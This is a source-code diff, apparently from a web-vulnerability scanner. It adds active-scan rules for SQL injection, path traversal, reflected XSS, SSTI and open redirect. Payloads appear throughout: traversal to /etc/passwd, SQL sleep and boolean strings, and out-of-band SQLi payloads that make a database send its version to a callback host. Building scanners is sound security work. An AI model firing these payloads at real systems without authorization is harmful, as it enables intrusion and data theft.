||||
|
||||
// SameStructure and LooksDelayed re-export the inject differential/timing helpers so
|
||||
// a rule imports only injkit.
|
||||
func SameStructure(a, b httptools.Fingerprint) bool { return inject.SameStructure(a, b) }
|
||||
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
|
||||
return inject.LooksDelayed(elapsedMs, floorMs, delayMs)
|
||||
}
|
||||
|
||||
// Check is one named, toggleable detection within an injection rule — the catalog
|
||||
// row the operator sees. Metadata is static (so checks are package-level vars); the
|
||||
// probe takes its run context as a parameter rather than closing over it.
|
||||
type Check struct {
|
||||
ID string
|
||||
Name string
|
||||
Severity detect.Severity
|
||||
Description string
|
||||
// Payloads are shown in the catalog detail; the probe is free to derive more.
|
||||
Payloads []string
|
||||
// RequiresOAST marks a check that only runs with a callback listener configured.
|
||||
RequiresOAST bool
|
||||
Probe func(pc ProbeCtx)
|
||||
}
|
||||
|
||||
// ProbeCtx bundles everything a check's probe needs for one insertion point.
|
||||
type ProbeCtx struct {
|
||||
Ctx context.Context
|
||||
Send *inject.Sender
|
||||
OAST *inject.OAST // nil when OAST is unavailable or opted out
|
||||
Host string
|
||||
Point inject.Point
|
||||
Base *inject.Baseline
|
||||
// File mints a finding for this point; Host/Method/URL are filled in for you.
|
||||
File func(sev detect.Severity, detail, evidence, url string)
|
||||
}
|
||||
|
||||
// Inject mutates the point's value with payload (append or replace) and sends the
|
||||
// result, returning nil on any mutation/send error so a probe can keep going.
|
||||
func (pc ProbeCtx) Inject(payload string, appendMode bool) *inject.Result {
|
||||
mut, err := inject.Mutate(pc.Base.RawReq, pc.Point, payload, appendMode)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
res, err := pc.Send.Send(pc.Ctx, mut)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return res
|
||||
}
|
||||
|
||||
// Catalog builds the catalog items for a rule's checks, reflecting the disabled set.
|
||||
func Catalog(checks []Check, disabled *activescan.DisabledSet, oastAvailable bool) []activescan.CatalogItem {
|
||||
out := make([]activescan.CatalogItem, 0, len(checks))
|
||||
for _, c := range checks {
|
||||
detail := []activescan.CatalogField{{Label: "Detection", Value: c.Name}}
|
||||
if len(c.Payloads) > 0 {
|
||||
detail = append(detail, activescan.CatalogField{Label: "Payloads", Value: strings.Join(c.Payloads, "\n")})
|
||||
}
|
||||
if c.RequiresOAST {
|
||||
avail := "requires a configured callback listener"
|
||||
if oastAvailable {
|
||||
avail = "callback listener configured"
|
||||
}
|
||||
detail = append(detail, activescan.CatalogField{Label: "Out-of-band", Value: avail})
|
||||
}
|
||||
out = append(out, activescan.CatalogItem{
|
||||
ID: c.ID,
|
||||
Name: c.Name,
|
||||
Severity: string(c.Severity),
|
||||
Confidence: string(detect.ConfidenceHigh),
|
||||
Target: string(detect.TargetMessage),
|
||||
Description: c.Description,
|
||||
Enabled: disabled.IsItemEnabled(c.ID),
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// RunChecks drives the standard injection loop for a rule: it builds the sender and
|
||||
// (unless opted out) the OAST helper, then for every parameter of every request runs
|
||||
// each enabled check's probe. Finding-reporting goes through the probe's File helper.
|
||||
func RunChecks(
|
||||
ctx context.Context,
|
||||
t activescan.Target,
|
||||
cfg activescan.Config,
|
||||
deps activescan.RuleDeps,
|
||||
rep activescan.Reporter,
|
||||
checks []Check,
|
||||
disabled *activescan.DisabledSet,
|
||||
findingRule string,
|
||||
category detect.Category,
|
||||
name string,
|
||||
) {
|
||||
send := Sender(deps, t)
|
||||
oast := OAST(deps)
|
||||
if cfg.NoOAST {
|
||||
oast = nil
|
||||
}
|
||||
enabled := make([]Check, 0, len(checks))
|
||||
for _, c := range checks {
|
||||
if disabled.IsItemEnabled(c.ID) {
|
||||
enabled = append(enabled, c)
|
||||
}
|
||||
}
|
||||
inject.Drive(ctx, Requests(t), send, rep.Progress, func(ctx context.Context, p inject.Point, base *inject.Baseline) {
|
||||
for _, c := range enabled {
|
||||
if ctx.Err() != nil {
|
||||
return
|
||||
}
|
||||
file := func(sev detect.Severity, detail, evidence, url string) {
|
||||
rep.Finding(Finding(findingRule, category, sev, name, t.Host, base.Method, url, p.Key(), detail, evidence))
|
||||
}
|
||||
c.Probe(ProbeCtx{Ctx: ctx, Send: send, OAST: oast, Host: t.Host, Point: p, Base: base, File: file})
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
// Package injkit adapts the activescan framework to the inject library: it builds a
|
||||
// sender/OAST/request-list from a rule's Target and RuleDeps and mints findings, so
|
||||
// each injection rule stays a payload set plus a detector. It imports both
|
||||
// activescan and inject (activescan imports neither, so there is no cycle).
|
||||
package injkit
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/inject"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// PerReqTimeout bounds one probe send. It sits above the time-based payloads'
|
||||
// sleep interval so a genuine delay is observed rather than cut off.
|
||||
const PerReqTimeout = 20 * time.Second
|
||||
|
||||
// Sender builds an inject.Sender for the target from a rule's deps.
|
||||
func Sender(d activescan.RuleDeps, t activescan.Target) *inject.Sender {
|
||||
return inject.NewSender(
|
||||
httptools.SendDeps{ProxyAddr: d.ProxyAddr, CA: d.CA, Store: d.Store},
|
||||
t.Scheme, t.Host, PerReqTimeout,
|
||||
)
|
||||
}
|
||||
|
||||
// OAST returns an OAST helper, or nil when no callback domain is configured (the
|
||||
// caller then skips its OAST vectors).
|
||||
func OAST(d activescan.RuleDeps) *inject.OAST { return inject.NewOAST(d.Callback) }
|
||||
|
||||
// Requests returns the raw request bytes to fuzz: each target URL's captured bytes,
|
||||
// synthesizing a bare GET when a URL carries none.
|
||||
func Requests(t activescan.Target) [][]byte {
|
||||
var out [][]byte
|
||||
for _, u := range t.URLs {
|
||||
if len(u.RawReq) > 0 {
|
||||
out = append(out, u.RawReq)
|
||||
continue
|
||||
}
|
||||
if raw := synthGET(u.URL, t.Host); raw != nil {
|
||||
out = append(out, raw)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func synthGET(rawURL, host string) []byte {
|
||||
u, err := url.Parse(rawURL)
|
||||
if err != nil || u.Path == "" {
|
||||
return nil
|
||||
}
|
||||
target := u.Path
|
||||
if u.RawQuery != "" {
|
||||
target += "?" + u.RawQuery
|
||||
}
|
||||
h := host
|
||||
if u.Host != "" {
|
||||
h = u.Host
|
||||
}
|
||||
return []byte("GET " + target + " HTTP/1.1\r\nHost: " + h + "\r\nConnection: close\r\n\r\n")
|
||||
}
|
||||
|
||||
// Finding builds a detect.Finding in detect's identity space, deduped per
|
||||
// (rule, host, parameter+path) so one vulnerable parameter is one finding.
|
||||
func Finding(ruleID string, cat detect.Category, sev detect.Severity, name, host, method, probeURL, param, detail, evidence string) detect.Finding {
|
||||
now := time.Now()
|
||||
return detect.Finding{
|
||||
ID: detect.FindingID(ruleID, host, param+"|"+pathOf(probeURL)),
|
||||
RuleID: ruleID,
|
||||
RuleName: name,
|
||||
Category: cat,
|
||||
Severity: sev,
|
||||
Confidence: detect.ConfidenceHigh,
|
||||
Target: detect.TargetMessage,
|
||||
Host: host,
|
||||
Method: method,
|
||||
URL: probeURL,
|
||||
Detail: detail,
|
||||
Evidence: evidence,
|
||||
FirstSeen: now,
|
||||
LastSeen: now,
|
||||
EvidenceOffset: -1,
|
||||
}
|
||||
}
|
||||
|
||||
func pathOf(u string) string {
|
||||
if parsed, err := url.Parse(u); err == nil && parsed.Path != "" {
|
||||
return parsed.Path
|
||||
}
|
||||
if i := strings.IndexByte(u, '?'); i >= 0 {
|
||||
return u[:i]
|
||||
}
|
||||
return u
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
// Package openredirect is the active open-redirect rule. Each check replaces the
|
||||
// parameter with an external canary URL and confirms a redirect to that host via the
|
||||
// Location header or an in-body meta/JS redirect.
|
||||
package openredirect
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "openredirect"
|
||||
findingRule = "activescan.openredirect"
|
||||
)
|
||||
|
||||
func payloads(canary string) []string {
|
||||
return []string{"https://" + canary + "/", "//" + canary + "/"}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
{
|
||||
ID: "location", Name: "Location header", Severity: detect.SeverityMedium,
|
||||
Description: "Injects an external URL and reports when a 3xx Location header points to it.",
|
||||
Payloads: []string{"https://<canary>/", "//<canary>/"},
|
||||
Probe: locationHeader,
|
||||
},
|
||||
{
|
||||
ID: "body", Name: "Body meta/JS redirect", Severity: detect.SeverityMedium,
|
||||
Description: "Injects an external URL and reports when the body redirects to it (meta refresh or window.location).",
|
||||
Payloads: []string{"https://<canary>/", "//<canary>/"},
|
||||
Probe: bodyRedirect,
|
||||
},
|
||||
}
|
||||
|
||||
var bodyRedirectRe = regexp.MustCompile(`(?i)(?:http-equiv=["']?refresh|location\.(?:href|replace|assign)|window\.location)`)
|
||||
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Open redirect" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryOpenRedirect }
|
||||
func (*Rule) Description() string {
|
||||
return "Replaces each parameter with an external canary URL and reports when the response " +
|
||||
"redirects to that host — via the Location header on a 3xx or an in-body meta/JavaScript " +
|
||||
"redirect — indicating an unvalidated redirect."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryOpenRedirect, "Open redirect")
|
||||
return nil
|
||||
}
|
||||
|
||||
func locationHeader(pc injkit.ProbeCtx) {
|
||||
canary := "joro-redir-" + randHex(5) + ".example"
|
||||
for _, pl := range payloads(canary) {
|
||||
res := pc.Inject(pl, false)
|
||||
if res == nil {
|
||||
continue
|
||||
}
|
||||
loc := res.Resp.Header.Get("Location")
|
||||
if res.Status >= 300 && res.Status < 400 && strings.Contains(loc, canary) {
|
||||
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (Location header)", "Location: "+loc, res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func bodyRedirect(pc injkit.ProbeCtx) {
|
||||
canary := "joro-redir-" + randHex(5) + ".example"
|
||||
for _, pl := range payloads(canary) {
|
||||
res := pc.Inject(pl, false)
|
||||
if res == nil {
|
||||
continue
|
||||
}
|
||||
if strings.Contains(string(res.Resp.Body), canary) && bodyRedirectRe.Match(res.Resp.Body) {
|
||||
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (body redirect)", "response body redirects to "+canary, res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func randHex(n int) string {
|
||||
b := make([]byte, n)
|
||||
_, _ = rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
// Package pathtraversal is the active path-traversal / LFI rule. Each check replaces
|
||||
// the parameter with traversal payloads for one target file and confirms when the
|
||||
// response returns that file's contents.
|
||||
package pathtraversal
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "pathtraversal"
|
||||
findingRule = "activescan.pathtraversal"
|
||||
)
|
||||
|
||||
var (
|
||||
rePasswd = regexp.MustCompile(`root:.*:0:0:`)
|
||||
reWinIni = regexp.MustCompile(`(?i)\[(?:fonts|extensions|mci extensions)\]|for 16-bit app support`)
|
||||
reWebXML = regexp.MustCompile(`(?i)<web-app[\s>]`)
|
||||
)
|
||||
|
||||
func fileCheck(id, name, desc string, payloads []string, re *regexp.Regexp, evidence string) injkit.Check {
|
||||
return injkit.Check{
|
||||
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc, Payloads: payloads,
|
||||
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads, re, evidence) },
|
||||
}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
fileCheck("unix-passwd", "Unix /etc/passwd",
|
||||
"Traverses to /etc/passwd and matches the user-database format.",
|
||||
[]string{"../../../../../../../../etc/passwd", "/etc/passwd", "....//....//....//....//etc/passwd"},
|
||||
rePasswd, "response contains /etc/passwd contents (root:...:0:0:)"),
|
||||
fileCheck("windows-winini", "Windows win.ini",
|
||||
"Traverses to Windows win.ini and matches its section headers.",
|
||||
[]string{"..\\..\\..\\..\\..\\windows\\win.ini", "C:\\windows\\win.ini"},
|
||||
reWinIni, "response contains win.ini contents"),
|
||||
fileCheck("java-webxml", "Java WEB-INF/web.xml",
|
||||
"Reads WEB-INF/web.xml from a Java web app.",
|
||||
[]string{"/WEB-INF/web.xml", "../../WEB-INF/web.xml"},
|
||||
reWebXML, "response contains WEB-INF/web.xml contents"),
|
||||
fileCheck("encoded", "Encoded traversal",
|
||||
"URL-encoded traversal to /etc/passwd (filter-bypass variants).",
|
||||
[]string{"..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", "..%5c..%5c..%5c..%5cwindows%5cwin.ini"},
|
||||
rePasswd, "response contains /etc/passwd contents via encoded traversal"),
|
||||
}
|
||||
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Path traversal / LFI" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryPathTraversal }
|
||||
func (*Rule) Description() string {
|
||||
return "Replaces each parameter with directory-traversal payloads (encoded and raw, Unix and " +
|
||||
"Windows) and reports when the response returns the contents of a well-known file " +
|
||||
"(/etc/passwd, win.ini, WEB-INF/web.xml) — confirmed path traversal / local file inclusion."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryPathTraversal, "Path traversal / LFI")
|
||||
return nil
|
||||
}
|
||||
|
||||
func probe(pc injkit.ProbeCtx, payloads []string, re *regexp.Regexp, evidence string) {
|
||||
for _, pl := range payloads {
|
||||
res := pc.Inject(pl, false)
|
||||
if res != nil && re.Match(res.Resp.Body) {
|
||||
pc.File(detect.SeverityHigh, "path traversal in "+pc.Point.Name+" via "+pl, evidence, res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
// Package reflectedxss is the active reflected-XSS rule. Each check injects a unique
|
||||
// canary with a particular breakout payload and reuses internal/echo's analyzer
|
||||
// (enumeration, context classification, breakout rubric) on the (mutated request,
|
||||
// response) pair; a reflection that breaks out of its context is a finding.
|
||||
package reflectedxss
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/echo"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "reflectedxss"
|
||||
findingRule = "activescan.reflectedxss"
|
||||
)
|
||||
|
||||
func styleCheck(id, name, desc, suffix string) injkit.Check {
|
||||
return injkit.Check{
|
||||
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc,
|
||||
Payloads: []string{"<canary>" + suffix},
|
||||
Probe: func(pc injkit.ProbeCtx) { probe(pc, suffix) },
|
||||
}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
styleCheck("html-text", "HTML text breakout", "Breaks out of HTML text/attribute with angle brackets and quotes.", `"'></`),
|
||||
styleCheck("attribute", "Attribute event-handler", "Breaks out of an attribute into an event handler.", `" autofocus onfocus=jo `),
|
||||
styleCheck("script", "Script string breakout", "Breaks out of a JavaScript string context.", `';jo//`),
|
||||
styleCheck("template", "Template/backtick breakout", "Breaks out of a template-literal/backtick context.", "`+jo+`"),
|
||||
}
|
||||
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Reflected XSS" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryReflectedXSS }
|
||||
func (*Rule) Description() string {
|
||||
return "Injects a unique canary with HTML/JS-breaking characters into each request " +
|
||||
"parameter and reuses the Echo analyzer to decide whether it reflects into an " +
|
||||
"exploitable, unescaped context (a breakout) — confirmed reflected cross-site scripting."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryReflectedXSS, "Reflected XSS")
|
||||
return nil
|
||||
}
|
||||
|
||||
func probe(pc injkit.ProbeCtx, suffix string) {
|
||||
canary := "joro" + randHex(5)
|
||||
res := pc.Inject(canary+suffix, false)
|
||||
if res == nil {
|
||||
return
|
||||
}
|
||||
cr := &proxy.CapturedRequest{ReqRaw: res.RawReq, RespRaw: res.RespRaw, Host: pc.Host, URL: res.URL, Method: res.Method}
|
||||
report := echo.Analyze(cr, echo.DefaultConfig())
|
||||
for _, refl := range report.Reflections {
|
||||
if refl.Breakout && strings.Contains(refl.Value, canary) {
|
||||
pc.File(detect.SeverityHigh, "parameter "+pc.Point.Name+" reflects unescaped into "+string(refl.Context),
|
||||
"canary broke out of the "+string(refl.Context)+" context; surviving characters: "+refl.Survived, res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func randHex(n int) string {
|
||||
b := make([]byte, n)
|
||||
_, _ = rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
@@ -169,7 +169,7 @@ func Execute(ctx context.Context, run *Run, d Deps) {
|
||||
}
|
||||
if err := rule.Run(runCtx, Target{
|
||||
Scheme: schemeOf(run.Origin), Host: run.Host, Origin: run.Origin, URLs: run.urls,
|
||||
}, d.RuleDeps, rep); err != nil {
|
||||
}, run.Config, d.RuleDeps, rep); err != nil {
|
||||
run.addError(fmt.Sprintf("%s: %v", rule.Name(), err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,154 @@
|
||||
// Package sqli is the active SQL-injection rule. It exposes a catalog of named
|
||||
// checks (error-based, boolean-based, time-based, out-of-band); each appends
|
||||
// read-only payloads to a parameter and confirms via the shared DB-error matcher, a
|
||||
// structural true/false differential, a timing delay, or a callback.
|
||||
package sqli
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "sqli"
|
||||
findingRule = "activescan.sqli"
|
||||
sleepMs = 5000
|
||||
oastWindow = 12 * time.Second
|
||||
)
|
||||
|
||||
var errorSuffixes = []string{`'`, `"`, `')`, `'"`}
|
||||
|
||||
var booleanPairs = [][2]string{
|
||||
{`' AND '1'='1`, `' AND '1'='2`},
|
||||
{` AND 1=1`, ` AND 1=2`},
|
||||
{`" AND "1"="1`, `" AND "1"="2`},
|
||||
}
|
||||
|
||||
var timeSuffixes = []string{
|
||||
`' AND SLEEP(5)-- -`,
|
||||
` AND SLEEP(5)`,
|
||||
`'||pg_sleep(5)--`,
|
||||
`';WAITFOR DELAY '0:0:5'--`,
|
||||
}
|
||||
|
||||
func oastSuffixes(host string) []string {
|
||||
return []string{
|
||||
`' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.` + host + `\\x')))-- -`,
|
||||
`';EXEC master..xp_dirtree '\\` + host + `\x';--`,
|
||||
`'||(SELECT UTL_INADDR.get_host_address('` + host + `') FROM dual)--`,
|
||||
}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
{
|
||||
ID: "error-based", Name: "Error-based", Severity: detect.SeverityHigh,
|
||||
Description: "Appends quote/paren breakers and matches the response against database error signatures.",
|
||||
Payloads: errorSuffixes,
|
||||
Probe: errorBased,
|
||||
},
|
||||
{
|
||||
ID: "boolean-based", Name: "Boolean-based", Severity: detect.SeverityHigh,
|
||||
Description: "Sends a TRUE and a FALSE condition and reports when TRUE matches the baseline while FALSE differs.",
|
||||
Payloads: []string{`' AND '1'='1`, `' AND '1'='2`, ` AND 1=1`, ` AND 1=2`},
|
||||
Probe: booleanBased,
|
||||
},
|
||||
{
|
||||
ID: "time-based", Name: "Time-based", Severity: detect.SeverityHigh,
|
||||
Description: "Injects a database sleep and confirms a delayed response twice to reject jitter.",
|
||||
Payloads: timeSuffixes,
|
||||
Probe: timeBased,
|
||||
},
|
||||
{
|
||||
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityHigh,
|
||||
Description: "Injects DNS/SMB exfiltration payloads and polls the callback listener for an interaction.",
|
||||
Payloads: []string{`LOAD_FILE(CONCAT('\\\\',…,'.<callback>\\x'))`, `xp_dirtree '\\<callback>\x'`, `UTL_INADDR.get_host_address('<callback>')`},
|
||||
RequiresOAST: true,
|
||||
Probe: oastBased,
|
||||
},
|
||||
}
|
||||
|
||||
// Rule implements activescan.Rule and activescan.Cataloger (via the embedded set).
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "SQL injection" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategorySQLi }
|
||||
func (*Rule) Description() string {
|
||||
return "Appends error-based, boolean-differential, time-based, and (when a callback " +
|
||||
"listener is configured) out-of-band SQL payloads to each parameter, confirming via " +
|
||||
"database error signatures, a true/false response differential, a timing delay, or a callback."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySQLi, "SQL injection")
|
||||
return nil
|
||||
}
|
||||
|
||||
func errorBased(pc injkit.ProbeCtx) {
|
||||
for _, s := range errorSuffixes {
|
||||
res := pc.Inject(s, true)
|
||||
if res == nil {
|
||||
continue
|
||||
}
|
||||
if engine, ev, ok := detect.MatchSQLError(res.Resp.Body); ok {
|
||||
pc.File(detect.SeverityHigh, "error-based SQLi in "+pc.Point.Name+" ("+engine+")", engine+" error: "+ev, res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func booleanBased(pc injkit.ProbeCtx) {
|
||||
for _, pair := range booleanPairs {
|
||||
tr, fa := pc.Inject(pair[0], true), pc.Inject(pair[1], true)
|
||||
if tr == nil || fa == nil {
|
||||
continue
|
||||
}
|
||||
if injkit.SameStructure(tr.Fingerprint, pc.Base.Fingerprint) &&
|
||||
!injkit.SameStructure(fa.Fingerprint, pc.Base.Fingerprint) {
|
||||
pc.File(detect.SeverityHigh, "boolean-based SQLi in "+pc.Point.Name,
|
||||
"TRUE ("+pair[0]+") matched the baseline; FALSE ("+pair[1]+") differed", tr.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func timeBased(pc injkit.ProbeCtx) {
|
||||
for _, s := range timeSuffixes {
|
||||
res := pc.Inject(s, true)
|
||||
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
|
||||
continue
|
||||
}
|
||||
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
|
||||
pc.File(detect.SeverityHigh, "time-based blind SQLi in "+pc.Point.Name,
|
||||
"injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func oastBased(pc injkit.ProbeCtx) {
|
||||
if pc.OAST == nil {
|
||||
return
|
||||
}
|
||||
tokenID, host, err := pc.OAST.Token("sqli")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, s := range oastSuffixes(host) {
|
||||
pc.Inject(s, true)
|
||||
}
|
||||
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
|
||||
pc.File(detect.SeverityHigh, "out-of-band SQLi in "+pc.Point.Name,
|
||||
"an injected payload triggered a callback to "+host, pc.Base.URL)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
// Package ssti is the active server-side template injection rule. Each check
|
||||
// replaces the parameter with one engine family's arithmetic polyglot and confirms
|
||||
// when the computed product appears in the response.
|
||||
package ssti
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "ssti"
|
||||
findingRule = "activescan.ssti"
|
||||
product = "1649858" // 1337 * 1234, distinctive and unlikely to occur naturally
|
||||
)
|
||||
|
||||
func syntaxCheck(id, name, desc string, payloads []string) injkit.Check {
|
||||
return injkit.Check{
|
||||
ID: id, Name: name, Severity: detect.SeverityCritical, Description: desc, Payloads: payloads,
|
||||
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads) },
|
||||
}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
syntaxCheck("jinja-twig", "Jinja/Twig {{…}}", "Doubled-brace expression (Jinja2, Twig, Nunjucks).", []string{`{{1337*1234}}`}),
|
||||
syntaxCheck("dollar-hash", "Freemarker/Velocity ${…}/#{…}", "Dollar/hash expression (Freemarker, Velocity, Thymeleaf).", []string{`${1337*1234}`, `#{1337*1234}`}),
|
||||
syntaxCheck("erb-jsp", "ERB/JSP <%= … %>", "Scriptlet expression (ERB, JSP, ASP).", []string{`<%= 1337*1234 %>`}),
|
||||
syntaxCheck("razor", "Razor @(…)", "Razor expression (.NET).", []string{`@(1337*1234)`}),
|
||||
syntaxCheck("smarty-mako", "Smarty/Mako/other", "Single-brace and assignment forms (Smarty, Mako, Spring EL).", []string{`{1337*1234}`, `*{1337*1234}`, `#set($x=1337*1234)$x`}),
|
||||
}
|
||||
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Server-side template injection" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategorySSTI }
|
||||
func (*Rule) Description() string {
|
||||
return "Injects arithmetic-expression polyglots across common template engines (Jinja, " +
|
||||
"Twig, Freemarker, Velocity, ERB, Razor and others) into each parameter; if the " +
|
||||
"computed product appears in the response, the engine evaluated the expression."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySSTI, "Server-side template injection")
|
||||
return nil
|
||||
}
|
||||
|
||||
func probe(pc injkit.ProbeCtx, payloads []string) {
|
||||
for _, pl := range payloads {
|
||||
res := pc.Inject(pl, false)
|
||||
if res != nil && strings.Contains(string(res.Resp.Body), product) {
|
||||
pc.File(detect.SeverityCritical, "SSTI in "+pc.Point.Name,
|
||||
"payload "+pl+" produced "+product+" in the response", res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
# Attribution — signatures.json
|
||||
|
||||
`signatures.json` is a normalized, curated derivative of the
|
||||
